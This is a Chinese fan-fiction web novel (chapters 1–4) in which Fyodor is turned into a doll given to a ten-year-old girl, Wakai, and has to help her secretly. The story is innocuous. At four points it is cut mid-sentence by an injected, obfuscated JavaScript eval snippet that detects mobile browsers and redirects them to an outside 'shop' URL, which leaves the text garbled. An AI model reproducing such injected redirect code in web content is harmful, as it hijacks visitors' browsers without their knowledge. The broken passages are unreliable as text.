《我的布娃娃是魔人怎么办》 1. 01 01 今天是川上若衣的十岁生日。 一大早,小姑娘就开始躁动不安了起来。蹦蹦跳跳地来到教室后,和每个同学都打了招呼,上课的时候也不停地举手。如果连续好几次没有人应答的话,她甚至会把两只手都举起来,用最高分贝的声音喊着“嘿以”、“嘿以”,以吸引老师的注意力。 直到放学,若衣都一直是这个样子。以至于班主任老师在她背着小书包准备离开教室的时候忍不住夸了一句: “今天若衣桑上课十分积极呀,真棒。” “这当然是因为若衣的父亲要回来了!”一旁的好友日向夏听到了这句话,立即半开玩笑半认真地说道。 “刷——”的,小若衣的脸就红了。 “夏酱!” 是的。 川上若衣的家里,平常只有她和妈妈。 若衣的爸爸在一家外资企业工作,在她出生就没多久就被派到了露西亚的分公司,自那之后便是聚少离多。 这也是没办法的事情,谁叫那地方离她居住的霓虹仙台实在是太远了,机票钱难以想象。而且还是小学生四年级学生的若衣没有手机,跨国电话据说还特别贵,自然也就不能随心所欲跟爸爸联系了。 虽然妈妈和一众亲戚门都很爱她,尽可能地让她和那些父母都在身边的孩子过着一样不孤单的生活,可若衣还是有好多想和爸爸说的话没时间说。 比如上次的汉字考试拿到了满分。 比如今年学校体检她的身高超过了日向夏。 再比如她已经学会百位数乘除法了。 但还好,前几天妈妈告诉她,爸爸的年假还没有用。考虑到这个星期正好是若衣的十岁生日,便决定今年回国给她过生日。 而且昨天借妈妈的手机和爸爸通话的时候,对方还神秘兮兮地说,会给若衣买她很喜欢的礼物。 这让川上若衣激动不已。 会是什么呢? 浑身是粉红色的露西亚套娃?圣诞老人的驯鹿?还是闪闪发光的十字架项链。 不管是哪个,川上若衣都会很喜欢。 就好像日向夏和学校排球部的哥哥一起练球的时候,哪怕只是能帮他练习最基础的发球也很开心一样。 昨天临睡前,若衣特地缠着妈妈问过,爸爸会在东京时间的早上十点到达成田机场。虽然此女仙台出发去机场也要几个小时的时间,但下午三点放学的时候爸爸也应该到家了才对。 因此,在学校门口和日向夏分开后,小姑娘迈开了脚步,只花了比平常少了一半的时间就到了家里。跑步的过程中,她感觉心脏跳得厉害,可自己也说不清到底是已经为剧烈运动,还是因为快见到爸爸了,十分兴奋。 可那颗砰砰直跳的心却在回到家里时被浇上了冷水。 生日蛋糕已经摆在了桌子上,厨房里也挂上了精美的装饰,可唯独少了一个人。 “爸爸呢?” 把书包放速在一旁的小椅子上,若衣便迫不及待地问题。 妈妈原本还在灶台前忙碌着,听到女儿的声音,立即回过头,在若衣的头发上摸了一把。 “若衣,听我说——” “奈良那边的爷爷昨天晚上被救护车送去医院了,你爸爸也是下了飞机才知道这件事的。因为有可能这是最后一面,所以爸爸回家了一趟,就去坐新干线了。” “……” 川上若衣也说不清楚自己现在是什么心情。 她想哭,想闹,想任性,想像一两岁的小孩子那样在地上撒泼打滚,可是一想到爸爸也一定很想爸爸,却又不好说出什么来。 “我知道了。”小女孩一笑,“那我们周末去看爷爷吧。” 说完就拿起书包上了楼。 若衣…… 就在客厅里的女人心疼地看了女儿一眼,可又笑着摇了摇头。 原本她也最好了若衣会哭闹的准备。 但看来…… 不知不觉中女儿真的长大了。 仙台到奈良有多远呢? 回到楼上自己小房间的路上,川上若衣在想。 她发现她不知道。 毕竟奈良的爷爷奶奶是爸爸那边的亲戚,而每年正月爸爸一般是回不来的。上一次坐新干线去奈良应该还是上小学前的事情了。川上若衣记得坐上新干线的感觉,也记得那时候吃过的和牛便当,可唯独不记得当时妈妈花了多少钱买票,也不记得自己在车上到底坐了多久。 但她很清楚—— 马上出发去奈良、这绝对不是她手上的零花钱可以做到的。 回到房间里,川上若衣猛地扑到了床上,就开始捶着枕头。 “为什么今天偏偏是星期一啊!” 如果是周五就好了。 至少和妈妈撒个娇,也许自己已经可以收拾行李了。 在床上滚了一圈,小若衣一个猛子起了身。 果然还是和妈妈说说吧—— 说不准看在很久没见到爸爸的份上,妈妈会同意她坐新干线呢? 然而,就在她准备下楼的时候,眼睛却落在了放在桌子上的一个礼物盒上。 十分精美的礼物盒,一看就是精品店的店员认真包装过的。雪花图案的印花上还写着一行她读不出来的俄语。 “……!” 是爸爸的礼物! 川上若衣一下子来了精神。 管他呢,先把礼物拆了再说! 这样想着,小姑娘爪子在包装袋上一撕,就打开了盒子。 随即眼睛就亮了起来。 这是…… ………… 费奥多尔也不知道自己睡了多久。 迷迷糊糊再次恢复了意识的时候,他只记得自己好像中了什么人的异能力,然后便昏睡了过去,似乎很长的一段时间都处于他自己都不知道他是在做梦,还是处于半梦半醒之间。 直到一束刺眼的光芒让他不得不睁开了眼。 然而…… 费奥多尔:? 他与眼前东洋人模样的小女孩面面相觑。 这女孩看起来也就十岁上下的样子,薄荷色的头发扎成了两根麻花辫,粗粗的呆毛一晃一晃的,而那双同样是薄荷色的眼睛正紧巴巴地盯着自己。 ……这不是重点。 是的。比起眼前有一个还不到十二岁的东洋人女孩来—— 更让费奥多尔在意的,是对方明明是小学生的长相,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261329|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个圆圆的脸蛋子却挤满了他的整个视线。包括那双扑闪扑闪的大眼睛,也几乎要把他的视野全部占满一般。 这让费奥多尔不得不意识到一个事实。 现在的他…… 个头可能要比这个十岁的小女孩还小。 而且小到预估一下还不如一个刚出生的婴儿的地步。 费奥多尔:“……? 把身体变小…… 难道这就是他中的异能力吗? 那着实有些麻烦了…… 第一步至少要先确定自己现在到底是什么形象才行…… 可还没等费奥多尔尝试活动身体,就被小女孩一把抓了起来。 “布娃娃。” 他听见女孩子用脆脆的声音说道。 お人形さん(娃娃)……? 费奥多尔下意识想皱一下眉头。 直到他发现…… 他好像活动不了自己的身体, “…………” 事情好像比预想的还要糟糕。 因为他…… 很可能不是变成了小矮人。 而是变成了一个…… 不能说话不能动的……布娃娃。 ………… 费奥多尔只觉得,自己就如同案板上的鱼肉一样。 他被迫被小姑娘放在了床上,和几个排排坐的布娃娃面对面。 这些娃娃里有小猫、小熊等动物,也有穿着华丽洋裙的小女孩,而薄荷发色的小姑娘正在一个一个介绍着: “我叫若衣,川上若衣。这只小猫是美美子,是若衣三岁的生日礼物。这个小熊是□□,上小学那天妈妈买的,你应该知道那个动画片吧?虽然不是同一只熊但你看他们的颜色是不是一样?” “还有这个是我最好的朋友夏酱去年生日给我的。夏酱的哥哥很喜欢排球,我就叫它保罗(ball)了。” 费奥多尔:“……” 保罗……? 可如果他没看错的话,这应该是一个小女孩娃娃吧? 以这孩子每个娃娃都要起名字的性格,费奥多尔不敢想象他会叫什么。 果然,该来的马上就来了。 “对诶!”川上若衣一拍手,“也得给你起一个名字才行。没有名字的话就没法和大家做自我介绍了。” 说着,一手拎着娃娃,一手抱着礼物盒,就下了楼。 费奥多尔只觉得一阵头晕目眩。 本来他就才刚刚苏醒过来,又被小姑娘在手上晃着,眼前一下子就一团黑了。以至于他有点怀疑人生。 怎么变成了布娃娃这个贫血的毛病还没改掉啊。 头晕目眩中,他听见名叫若衣的小女孩和另一个女声说了些什么,立马雀跃道: “费佳。” “原来礼物盒上的俄文是‘费佳’啊。” 她一把紧紧抱住了娃娃: “太好了!你是从露西亚远道而来的,应该起一个那边的名字,但我对露西亚的人名实在不了解,只知道国语课上那些什么什么斯基的都是露西亚人。” “但现在没关系了!既然盒子上的俄文是’费佳‘的话,那你以后就叫费佳了!” ……?! 2. 02 02 费佳(Федя),这的确是一个露西亚的名字。 但问题是,它并不是哪个国内的玩具品牌货著名的玩具制作人的名字,而是…… 俄语中对“费奥多尔(Фёдор)这个名字的爱称。 这不禁让记忆里从没被这么喊过的费奥多尔感觉,如果现在他还是人类的□□的话,一定会起一身的鸡皮疙瘩,并且深刻感觉到了让他变成现在这副样子的异能力者的恶趣味。 一定是故意的…… 然而现在的费奥多尔什么也做不了。 纵使是习惯了勾心斗角的“魔人”,如今被困在这么一个不能说话,也不能自由活动的玩具里,也只能任由川上若衣蹦蹦跳跳地抱着自己上了楼、被放在一群花花绿绿的娃娃中间。 费奥多尔干脆选择了观察。 名叫若衣的东洋人小姑娘生活并不复杂。抱着费奥多尔在楼下吃了一个焦糖布丁做为下午茶后,就在自己的小房间里写起了作业。从小姑娘自言自语般念出来的数学题可以看得出,她才刚刚开始接触乘除法。费奥多尔虽然数学不差,可是计算一般都是靠感觉和记忆,对于小姑娘背的什么“九九八十一”、“七七四十九”的,让他觉得还挺好用。反正也没事干,他干脆跟着若衣一起在心里记住了一整个九九表。 ——尽管着对于他来说实在太过简单了。 写完作业,晚饭也差不多做好了。小姑娘再一次抱上费奥多尔来到了楼下,把他摆在一块装饰精美的蛋糕旁边,让妈妈帮她拍了照。 在川上若衣笑嘻嘻地戴上生日帽的那一刻,费奥多尔才知道,今天是她的生日。 自己原来是被当作生日礼物送给这个小娃娃的吗? 费奥多尔觉得有点可笑。 没想到他也有这么一天啊。 而在费奥多尔看见了正对面墙壁上的日历时,彻底沉默了。 11月11日。 “……” 他本来只是看见若衣家餐厅有那种手撕的日历,想通过日期确定自己中了异能后到底沉睡了多久,却发现他和川上若衣的生日原来是同一天。 如果自己能动的话,“魔人”或许会忍不住扯一扯嘴角。 这到底是偶然,还是什么人的刻意为之? 吃完饭,跟着妈妈一起把餐厅收拾干净厚,川上若衣便抱着费奥多尔回到了自己的房间里。和其他娃娃一起,费奥多尔被整齐地摆放在地上,然后若衣便一拍胸脯,自称“川上老师”,趴在榻榻米上读起了绘本。 一个十岁的女孩却会像对待有生命的人类一样和娃娃讲话,甚至读这样幼儿园小朋友用的书吗? 费奥多尔也不知道自己该不该说她“幼稚”。 但对于不太认识汉字的他来说,这种书用于学习日语倒是正合适。视线可以落在绘本的文字上,费奥多尔干脆跟着小姑娘的读音记起了那些看上去像画一样的文字。 反正过几年他为了自己的计划肯定会亲自来一趟的。倒不如趁着现在还这么也不能做,能多学会一点语言是一点。 “自此,王子与公主过上来幸福的生活,可喜可贺可喜可贺!”读完绘本的最后一页,川上若衣“嘿嘿”一笑。 “怎么样?费佳,是不是一个很有意思的故事?” “……”并没有得到回应。 小女孩尴尬地挠挠头。 也是啊,不管是费佳,还是美美子他们,都不过是娃娃而已?自然不会回答她。 但…… 也不知道现在是不是错觉,她总感觉,就在她开始讲故事的时候,费佳的眼睛里紫色的瞳孔似乎下移了一些。 虽然现在看上去并没有明显的变化。 ………… 经过一晚上的观察,费奥多尔得出了结论。 川上若衣的确只是一个没有异能力的普通的小女孩而已。 至他没有发现这个孩子和“书”,或者异能力存在关联。 唯一让人比较在意的也只是小女孩的母亲能读出俄文。可根据母女二人晚饭时的对话,她看上去也不过是个很平凡的母亲,她的俄语应该也是和丈夫一起学习耳濡目染掌握的。 至少费奥多尔看不出什么端倪。 也许自己会被送到这个女孩子的家里,的确只是偶然吧。 偶然中异能力换成了布娃娃,然后偶然被一位在露西亚工作的霓虹人父亲买了下来,漂洋过海送给了他刚过十岁生日的女儿。 此时,已经入了夜。十岁的川上若衣作息还是很规范的,虽然现在还不到十一点,当经老老实实地关灯躺在了床上,不一会,就进入了梦乡。 不会被这个小女孩一直盯着,听着她吵吵闹闹地说着自己和学校的事情,费奥多尔终于可以静下心来思考一些重要的事了。 比如…… 既然目前看来川上家没什么不对劲的地方的话,那他需要重点思考的就变成了到底怎么才能解除异能。 只是像一两岁的孩子那样听川上若衣讲了个童话故事,费奥多尔都尴尬地能抠出一栋莫斯科郊外的三层楼别墅来了,更何况他的理想也从来不是陪一个小女孩过家家。 但他发现,想做点什么的话,首先需要做到的还是能移动自己的身体。 ……? 等一下。 看着眼前玩偶特有的火柴人画风的手,费奥多尔皱起了眉头。 他…… 可以动了? 谨慎如费奥多尔并不敢下定论这是因为他的异能力开始一点一点解除了,还是因为什么别的契机。不过如果可以活动的话,至少—— 并没有什么用。 即使可以动了,还不及川上若衣手掌宽度的小短手和小短脚仍然很限制行动自由。费奥多尔发现,他费了半天的劲,也只是从若衣的床上的“玩偶区域”移动到了床角,然后爬到了小姑娘的写字台上而已。而即使是这么几步路,已经让他精疲力尽。 ……好吧。 看来他还是一如既往地体弱。费奥多尔自嘲地笑了笑。 川上若衣的汉字练习册正摊开放在桌子上,银色的月光从窗户照进来,可以勉强看得清上面的内容。不知道为什么,费奥多尔突然产生了奇怪的想法。 虽然他今天跟着若衣的确认识了好几个汉字,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261330|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是并没有练习书写的机会。 “书”的设定是可以上写在上面的一切合理之事变为现实。但既然藏在横滨,费奥多尔并不敢保证会不会还有“必须写的是日文”之类的要求。 ……还是练习一下吧。 而且等川上若衣看见了他写下的汉字,也可以通过她的反应判断一下,这个小姑娘是否真的如她目前为止表现出的那样毫无心机。 于是费奥多尔干脆翻开了若衣练习册的下一页,用两只小手夹起了铅笔,开始尝试写了起来。 他发现,虽然现在自己的手很小,甚至没有手指,可如果慢慢来的话,还是可以握笔写字的。于是费奥多尔干脆就着示范的样子,把若衣练习册的整整一页都写完了。然后才放下了笔,坐在了桌子上。 别说这样写字还挺累的。 然而—— “叮”的一声,他的眼前出现了一个数字。 1/100。 这是什么……? 费奥多尔皱起了眉头。 那行字只是出现了一瞬就消失了,他尝试着眨眼睛,也并没有再出现。可费奥多尔可以肯定,这不就只是眼花了这么简单。 或许想弄清楚的话,他还是继续留在这个小女孩身边。 这样想着,费奥多尔准备回到床上,可是他却发现,自己的身体再次变得不听使唤了起来,甚至好像脱了力,躺倒在乐写字台上。 “……” 所以说刚才能自由活动只是一时的吗? 魔人心想。 似乎有点糟糕…… ………… 早晨。 川上若衣是在八点半被闹钟吵醒的。 这个时间是她工作日固定的起床时间。收拾得快一些的话,上学路上甚至还可以慢悠悠地看看风景。 只不过…… “咦?” 看着躺在写字台上的费佳,川上若衣疑惑。 她记得自己昨晚不是把费佳和其他孩子放在一起了吗?为什么会在这个地方? 十岁的川上若衣并没有什么疑心,只把这当做了睡迷糊了,很快在意了。梳洗完毕,享用了妈妈制作的荷包蛋和三文鱼片作为早餐,就拎起书包准备去上学。 不过就在她把书包背在身上的时候,目光再一次落在了放在桌子上的娃娃身上。 说起来…… “费佳对学校感兴趣吗?”小姑娘一把拿起了娃娃。 刚因为川上若衣没怀疑自己松了一口气的费奥多尔:? “我们学校并没有不允许带玩具的规定。”若衣笑着说,“不如费佳今天和我一起去学校吧!” “要知道,在学校里可以认识好多的好朋友呢!” 其实是想像你的朋友炫耀生日礼物吧…… 费奥多尔腹诽。 不过川上若衣当然不知道自己的娃娃在想什么,把费奥多尔放在了装体育课用的运动服的袋子里,就蹦蹦跳跳地下楼了。 “……” 在这一刻,“魔人”才意识到—— 他,一个年纪比若衣爷爷的爷爷都大的人,真的要去上小学了。 3. 03 03 “学校”。 一个对费奥多尔来说只从各类文学、影视作品上了解过的场所。 毕竟,在他像川上若衣这么大的时候,受教育的机会仅仅是周末礼拜上“神父”的教诲以及一本被丢给他打发时间的《圣经》。而到了后来,也并没有需要扮演“学生”这一角色的计划。 可现在,“魔人”第一次亲自来到了被叫做“教室”的地方。 被一群每一个脸都比他现在的身体大的小学生包围在一起。 “好可爱的娃娃!”橙色头发的小女孩眼睛水汪汪地望着费奥多尔,“猫酱的爸爸好有眼光!” 猫酱……? 费奥多尔很快反应了过来。 “若衣(nyai)”这个名字的发音的确和日语里代表猫咪叫声的拟声词一样。 而他所领导的地下组织叫做“死屋之鼠”。 呵,猫对上了老鼠,吗? “它叫费佳!”川上若衣小脸红扑扑地说道。 围在她身边的大多数都是小女生。四年级的女孩子大多还没完全失去对玩偶类的兴趣,费奥多尔就这样像猫咖中的猫咪一样,被女孩子们一会摸摸头,一会拿起来抱一下。 而且还一点也不能反抗。 “……” 他和“儿童”这个群体的交流并不多,以至于魔人有点怀疑,现在的小孩子是不是比起几百年前要幼稚了不少。 直到一个小女孩突然惊叫道; “糟了!我昨晚不小心把汉字练习落在了课桌上,晨会之前得补完才行!” 她哭唧唧的:“昨天国语课上布置作业的时候我还看了一眼来着,第二页汉字好复杂的!” ……啊? 川上若衣的眼睛闪烁了一下。 第二页? “夏酱……”她不得不像班上关系最好的朋友求助,“昨天的汉字练习……是要写两页吗?” “是啊。”日向夏惊呼,“猫酱你不会没写吧!昨天老师不是才刚说过,如果今天再有忘了写作业的同学,午餐的甜点就没有了。” “……” 对此,川上若衣表示—— 她还真的只写了一页。 而且今天的菜谱上可是写了,甜点是她最喜欢吃的哈密瓜果冻! 小姑娘连忙慌张地取出汉字练习册,想趁着晨会开始之前争取一下。 可当翻到自己没完成的那页汉字时,她却愣住了。 只见,上面已经被填满了,虽然说不上好看,但每一个字都是整齐又认真地按照笔顺写完了一整行。 “呼……”看见若衣的汉字作业完成了,日向夏也松了一口气,“你真是吓死我了,我还以为我们猫酱过了一个生日飘了呢……” “啊哈哈。”川上若衣也只好傻笑,“毕竟我这个星期最期待的就是今天的甜点了。” 这些话都被费奥多尔听进去了。 他简单分析了一下如今的情况—— 这只傻猫没完成老师布置的作业,而且还恰好是他昨天晚上为了练习汉字书写写完的那一页。 如果不是她帮忙完成了的话,傻猫可能就吃不到午餐自己最期待的甜点了。 这不得不让费奥多尔和昨天看到的那个“1/100”联系起来。 他隐约有了猜测。 只不过还需要一段时间来证明而已。 ………… 汉字作业,可能自己其实昨晚全部完成了吧。 川上若衣猜测。 至少练习册上的字迹和她本人的区别不大,而妈妈的教育方针也不是发现了女儿没完成作业会偷偷帮忙写完。 至少,她有惊无险地吃到了果冻。 而被放在课桌桌洞里的布娃娃版费奥多尔听着小姑娘一边进食一边和朋友们聊天的声音,实则有点无奈。 还真是一只心大的傻猫。 居然一点也没有怀疑吗? 至少他看不出来上午小姑娘的言行有“演”的成分。 只不过…… 不知道是不是他的错觉。明明自己对食物从来没什么兴趣,根据这一天的感受也确定了,现在的他和真正的玩偶一样,没有任何人人类的生理需求,听着耳边的声音,居然产生了“等变回去以后页品尝一下果冻”的想法。 然而—— “吃吧。”小姑娘笑嘻嘻地把勺子放在了费奥多尔面前。 然后就把食物送到了自己口中,却还要摸摸他的头:“好吃吧,费佳?” “……” 费奥多尔不是什么正经学习过发展心理学的人,可也看得出来,这样的行为更多发生在更小一些的孩子身上。 这猫…… 该不会真的把对爸爸的感情寄托在自己身上了吧? 费奥多尔有些无奈。 他可没有兴趣给一个十岁小女孩当“爸爸”啊。 可偏偏这个“爸爸”费奥多尔还必须当。 因为他的推测是—— 那个1/100会出现,或许是因为自己做出了一件能解决川上若衣遇到的麻烦的事情。 因为没完成作业而被老师和家长训斥,甚至曾经见不到喜欢地甜点,这是一个小学生来说,的确已经是“大危机”了。 或许,变回真正的人类,也必须让分子上的数字变成“100”。 这不禁让魔人也感觉到一阵头疼。 可他只能,也必须等着下一次可以活动身体,然后或刻意或偶然地帮到川上若衣,以证明这个猜测是对的。 但还好机会很快来了。 因为…… 这个小姑娘虽然很期待吃到果冻,可是她看起来好像不太爱吃配菜里的青椒的样子。 而且,班主任老师还是个对“挑食”很严格的人。 ”川上桑,根据保健室的纪录,你对青椒并不过敏。”老师用肯定句说道。 川上若衣有些委屈地点点头。 她的确不是过敏体质,至少长到这么大,没什么不能吃的食物。 可偏偏她就是受不了青椒的口感。 哪怕只是想象一下,都要吐出来。 “没有特殊原因的话,剩下食物是不对的行为。”老师认真道。 “我知道。”小姑娘把头低得恨不得埋进桌洞里,“我去上个厕所。” 说完就飞速离开了教室。 老师信不信川上若衣是真的需要去卫生间费奥多尔不知道,但他看得出来,这小丫头哪里是需要解决生理问题啊,完全是去做吃下青椒的心理准备的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261331|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过,也不知道是想到了自己的猜测,还是想起了被教父逼着吃生土豆的,明明难以下咽,却要被说“剩下食物的话就是对主的不敬”的日子,费奥多尔尝试着活动了一下手脚,发现自己真的可以动了之后,便观察了一下四周,在两个男生恰巧跑跑跑跳跳地经过时,用最大的力气一推课桌—— “咣当!” 桌上一歪,倒在了地上,餐盘里若衣剩下的青椒在地板上滚落。 注意到自己“闯祸”了,两个男生惊恐地停下了脚步,就连刚鼓起勇气回到教室的川上若衣都下意识站住了。 “对不起,川上!”男生们看了一眼若衣倒在地上的课桌,匆匆道歉,便弯下腰来,主动收拾起了地上的残局。班主任老师也不好说些什么,只是提醒了一下大家“不要在教室里奔跑”,并安排两个“肇事者”放学留下来值日,就把这件事带过了。 而真正的肇事者的眼前,再次出现了数字。 “1.5/100。” “……” 在这一刻,魔人确定了两件事。 第一,想摆脱现在的状态,可能的确需要帮这个小姑娘一百次。 第二,还不能连累到别人。 就比如那两个男生,他们本来没有撞到若衣的课桌,可却不得不留下来值日, 好麻烦…… 这是费奥多尔此时的唯一的想法。 毕竟,要是他不是个娃娃,就可以直接把青椒塞进班主任老师的口中,然后“和蔼”地提醒“浪费食物或许的确不对,但强迫一个小孩子必须吃下不喜欢的食物更不对”了。 可又好像……不得不继续留在小猫的身边,帮忙解决麻烦。 ………… 小学生地书包里一般没有什么易碎品。 而且两个男生的打闹也的确间接帮助了自己。 这让川上若衣感觉,这个中午并不糟糕。 哪怕她的东西掉了一地。 小学下午只有一节课。上完最后一节数学课,然后开一个班会,就可以回家了。 想到今天妈妈下午没有兼职,而且昨天因为费佳的到来忘了商量周末去找爸爸的事情,川上若衣很认真地挺直了脊背,听着老师继续讲着乘法计算。 直到教室的门被推开了。 是他们年级的教头老师。 两位老师在门口说了些什么后,班主任老师带着一些怜悯,也带着一些鼓励的眼神落在了若衣头上。 “川上桑,能稍微打扰一下吗?” 诶? 她吗? 不知道为什么,川上若衣的心里,隐隐有了不详的预感。 下意识的,她从课桌里拿起了费佳,抱在怀里,跟着老师来到了走廊上。 一直到这一刻,班主任老师才开了口: “川上桑,刚才学校接到了电话,关于你爷爷的事情……” 说到这里,他停顿了一下,可被省略的信息已经十分明显。 “你妈妈已经在校门口等着了,或许你今天早点回去比较好。明天的假妈妈也帮你请好了。替我向老人问好。” “……” “知道了。”抱紧了怀中的娃娃,小姑娘应声回到了教室,在大家或好奇或关心的目光中收拾起了自己的东西。 4. 04 04 奈良县。 川上若衣上一次去这里,还是上幼儿园之前,还不记事的时候。 在她家的相册里,到现在还有一张小小的她被妈妈抱在怀里,小心翼翼地把手上的黄瓜递给小鹿,爸爸和爷爷在旁边姨母笑的照片。 只是这一次,若衣没有时间去奈良公园,而那个许久不见的老爷子,变成了灵堂上的一张照片。 他的笑容仍然和善,可却好像有什么在悄悄地改变…… 穿着黑色连衣裙,一手抱着费佳,一手拿着准备先给爷爷的白的菊花的若衣如是想。 作为逝者的长子,爸爸要忙着接待客人,一直到大家一起吃完“全素宴”,最后一次进行遗体告别后,若衣才有机会和爸爸说上话。 只是…… 不知道是不是因为昨晚刚刚经历了守夜,若衣可以感觉到,爸爸的样子要比每一次视频电话里看到的憔悴很多。 也是啊…… 她并没什么太多和爷爷相处的记忆,但对爸爸来说,是不一样的。至少她只要想一想再也见不到爸爸的场景,就会和葬礼时的两个姑姑一样泪流满面。 爸爸也一定很难受吧,毕竟他没有爸爸了…… 可若衣唯一能做的事情却也只有拉住爸爸的手,把自己的整个身子靠上去。 似乎感觉到了来自女儿的安慰,男人半蹲下身子,紧紧地把孩子抱在了怀里。 “对不起,若衣……” 爸爸为什么要道歉呢? 明明现在最难过的应该是他才对啊。 入了夜,盘坐在爷爷的老宅榻榻米上,川上若衣服费佳举在眼前,提出了疑问。 可显然,一个布娃娃不可能回答她的问题。 而此时的费奥多尔也不知道自己该说些什么。 如果他能活动身体的话,也许会站在小姑娘爷爷的灵堂前划上一个十字,可同时却又不知道自己为什么会为了“一个人去世了”这种对他来说再平常不过的事情产生这样的想法。 直到他感觉小姑娘手上的力度一紧,然后“腾”的站了起来。 “对啊!” “那若衣来做爸爸的爸爸就好了!” 费奥多尔:啊? 他突然有点不明白,这个小姑娘又在搞什么名堂。 倒反天罡吗? 此时,爸爸妈妈和两个姑姑正在收拾老人的遗物,还是个孩子的若衣需要做的仅仅是“一个人玩”而已。可小姑娘却抱着费奥多尔来到书房的电脑前,很认真地谷歌起了“老人说话的语气”,然后用脆生生的声音跟着学了起来。 蛋对于一个作息规律的小女孩来说,现在的时间实在是太晚了,只是跟着念了一会,边趴在桌子上睡了过去。 甚至睡着了,嘴里还是不是嘟哝着“washi”?“jya”(1)之类的内容。 发现自己又能动了之后,费奥多尔忍不住砸了砸嘴。 还真是个蠢猫。 “扮演爸爸的爸爸”这种事,可不是用小孩子的声音模仿老人说话就能做到的。 不过…… 也许他那个1.5/100又有了增长的机会。 费奥多尔的黑客技术很好,而且霓虹和露西亚的电脑用的都是同一个系统,哪怕现在变成了娃娃,也能够熟练操作电脑。于是,他小心翼翼地移动着鼠标,在电脑上搜索了起来,等好不容易准备好了一切,已经快凌晨十二点了。 费奥多尔看了一眼门缝里散发出的灯光…… 看来傻猫的父母还在忙着整理遗物,并没有注意到女儿还没睡下啊。 他看了一眼女孩…… 费奥多尔自己有的时候也会在电脑前坐上一夜,然后不知不觉睡着了。再醒过来的时候,会觉得整个腰部和脖子,甚至肩膀都特别不舒服。 而且现在是冬天,要是一直没被家人发现的话,这孩子会感冒的吧。 至少换成他自己,因为糟糕的体质,一旦感冒可能会有很久不能如愿行动。 仿佛下定了什么决心一般,费奥多尔起身,拿了一个毯子,披在若衣的肩头,也就是在这一刻,他的身体再一次脱力。 “……”时间到了。 看来自己又要变成普通的布娃娃了。 ………… 次日。 川上若衣是被窗外的阳光弄醒的。 她仍然在书房里。可却好好地躺在了床上。 揉了揉眼睛起身,看着身下柔软的床铺,她这才想起,自己昨天晚上好像在电脑前睡着了。而现在能躺在被窝里,应该是妈妈帮她铺好床,然后抱进被子里的。 对了! 电脑!! 她还没完全学会老人说话的方式呢! 川上若衣连忙掀开被子站起身,跑到了放着电脑的小桌子前,可当打开电脑后,看着里面的内容,她却愣了一下。 这个是…… 经过了一整天,爷爷的遗物也差不多也整理好了。爸爸还要留在这边和姑姑们一起处理一些收尾工作,星期五的早晨,若衣和妈妈就要先坐新干线回家了。 把妻女送到了车站,爸爸再次搂了搂许久未见的女儿。 “那再见了,若衣。有时间的话爸爸回莫斯科之前回去看看你的。” “不用在意我的!”没想到,小女孩突然用老气横秋的语气说道。 washi……? 夫妻两个互相看了一眼。 这孩子,该不会是电视上的动漫看多了吧。 可还没等爸爸提醒她在学校不要这么说话,小若衣就踮起脚尖。拍了拍爸爸的公文包: “毕竟爸爸已经是我的骄傲了。” “……” 若衣……? 在这一刻,从父亲去世到现在都没哭过的男人,却突然觉得眼睛一红。 他的父亲,一直都是这个样子。从来不吝啬于对自己的孩子说出鼓励的话语。 小时候,每当他和妹妹们考试取得了理想的成绩,父亲都会说“你是我的骄傲”。 考上了心仪的高中、大学,找到了工作,父亲也是这么说。 甚至成绩不理想,或者犯了什么错误的时候,只要足够努力、只要出发点是好的,父亲还是会这么说。 当他去莫斯科的前一夜,给老家打去过一个电话。 那个时候他还是有些不安的。除了妻子和若衣,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261332|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸。毕竟妈妈已经不在了,妹妹们也有自己的工作,他不知道爸爸会不会寂寞,自己生活又会不会有问题。 可是爸爸却这么说: “不用担心我。毕竟,父母最希望的,从来都是子女能飞向高高的天空,而不是能一直留在身边。” “记住,你和妹妹们一直都是我,还有妈妈的骄傲。” “若衣……” 男人再一次抱紧了女儿。 而小若衣却嘻嘻一笑。 新干线上。 